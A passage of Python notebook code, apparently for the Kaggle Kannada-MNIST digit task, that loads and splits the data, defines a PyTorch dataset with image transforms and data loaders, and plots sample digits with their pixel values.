os.walk(data_dir):\n for filename in filenames:\n print('data at: ' + os.path.join(dirname, filename))\n\n\n\n\nfrom sklearn.model_selection import train_test_split\n\n# # Load Data\ntrain = pd.read_csv(os.path.join(data_dir, 'raw/train.csv'))\ntest = pd.read_csv(os.path.join(data_dir, 'raw/Dig-MNIST.csv'))\nsubmission_set = pd.read_csv(os.path.join(data_dir, 'raw/test.csv')).iloc[:,1:]\n\n# # Seperate train data and labels\ntrain_data = train.drop('label',axis=1)\ntrain_targets = train['label']\n\n# # Seperate test data and labels\ntest_images=test.drop('label',axis=1)\ntest_labels=test['label']\n\n\n\n\n# Train Test Split for validation\ntrain_images, val_images, train_labels, val_labels = train_test_split(train_data, \n train_targets, \n test_size=0.15)\n\n\n\n\n# Reset Index\ntrain_images.reset_index(drop=True, inplace=True)\ntrain_labels.reset_index(drop=True, inplace=True)\n\nval_images.reset_index(drop=True, inplace=True)\nval_labels.reset_index(drop=True, inplace=True)\n\ntest_images.reset_index(drop=True, inplace=True)\ntest_labels.reset_index(drop=True, inplace=True)\n\n\n\n\ntrain_images.iloc[20000:20005, 200:320]\n\n\n\n\nprint(\"Train Set: \\n\" + '-'*20)\nprint(train_images.shape)\nprint(train_labels.shape)\n\n\n\n\nval_images.iloc[8000:8005, 200:320]\n\n\n\n\nprint(\"\\nValidation Set: \\n\" + '-'*20)\nprint(val_images.shape)\nprint(val_labels.shape)\n\n\n\n\ntest_images.iloc[5000:5005, 200:320]\n\n\n\n\nprint(\"\\nTest Set: \\n\" + '-'*20)\nprint(test_images.shape)\nprint(test_labels.shape)\n\nprint(\"\\nSubmission: \")\nprint(submission_set.shape)\n\n\n\n\ntrain_dist = train_labels.value_counts(normalize = True)\ntest_dist = test_labels.value_counts(normalize = True)\nsubmission_dist = train_labels.value_counts(normalize = True)\n\n# display table for visualising dataset distribution\npd.DataFrame({\n 'Trainset Distribution': train_dist,\n 'Testset Distribution': test_dist,\n 'Submissionset Distribution': submission_dist\n})\n\n\n\n\nclass KannadaDataSet(Dataset):\n def __init__(self, images, labels, transforms=None):\n self.X = images\n self.y = labels\n self.transforms = transforms\n \n def __len__(self):\n return (len(self.X))\n \n def __getitem__(self, i):\n data = self.X.iloc[i,:]\n data = np.array(data).astype(np.uint8).reshape(IMGSIZE,IMGSIZE,1)\n \n if self.transforms:\n data = self.transforms(data)\n \n if self.y is not None:\n # for train set, val set, and test set\n return (data, self.y[i])\n else:\n # for kaggle submission\n # since submission set will not have labels\n return data\n\n\n\n\nIMGSIZE = 28\n\n# Transformations for the train\ntrain_trans = transforms.Compose(([\n transforms.ToPILImage(),\n transforms.RandomCrop(IMGSIZE),\n transforms.RandomAffine(degrees=5, translate=(0.1, 0.1)),\n transforms.ToTensor(), # automatically divide pixels by 255\n]))\n\n# Transformations for the validation & test sets\nval_trans = transforms.Compose(([\n transforms.ToPILImage(),\n transforms.ToTensor(), # automatically divide pixels by 255\n]))\n\n\n\n\nbatch_size = 64\n\n# Initialise dataset object for each set\ntrain_data = KannadaDataSet(train_images, train_labels, train_trans)\nval_data = KannadaDataSet(val_images, val_labels, val_trans)\ntest_data = KannadaDataSet(test_images, test_labels, val_trans)\nsubmission_data = KannadaDataSet(submission_set, None, val_trans)\n\n# Define Dataloader for each set\ntrain_loader = DataLoader(train_data,\n batch_size=batch_size,\n shuffle=True)\n\nval_loader = DataLoader(val_data, \n batch_size=batch_size, # batch_size=1000\n shuffle=False)\n\ntest_loader = DataLoader(test_data,\n batch_size=batch_size, # batch_size=1000\n shuffle=False)\n\n# for kaggle submission\nsubmission_loader = DataLoader(submission_data,\n batch_size=batch_size,\n shuffle=False)\n\n\n\n\n# obtain one batch of training images\ndataiter = iter(train_loader)\nimages, labels = dataiter.next()\nimages = images.numpy()\n\n# plot the images in the batch, along with the corresponding labels\nfig = plt.figure(figsize=(25, 6))\nfor idx in np.arange(16):\n ax = fig.add_subplot(2, 16/2, idx+1, xticks=[], yticks=[])\n ax.imshow(np.squeeze(images[idx]), cmap='gray')\n ax.set_title('digit ' + str(labels[idx].item()), fontsize=16) # .item() gets single value in scalar tensor\n\n\n\n\nimg = np.squeeze(images[1])\n\nfig = plt.figure(figsize = (12,12)) \nax = fig.add_subplot(111)\nax.imshow(img, cmap='gray')\nwidth, height = img.shape\nthresh = img.max()/2.5\n\nfor x in range(width):\n for y in range(height):\n val = round(img[x][y],2) if img[x][y] !=0 else 0\n ax.annotate(str(val), xy=(y,x),\n horizontalalignment='center',\n verticalalignment='center',\n color='white' if img[x][y]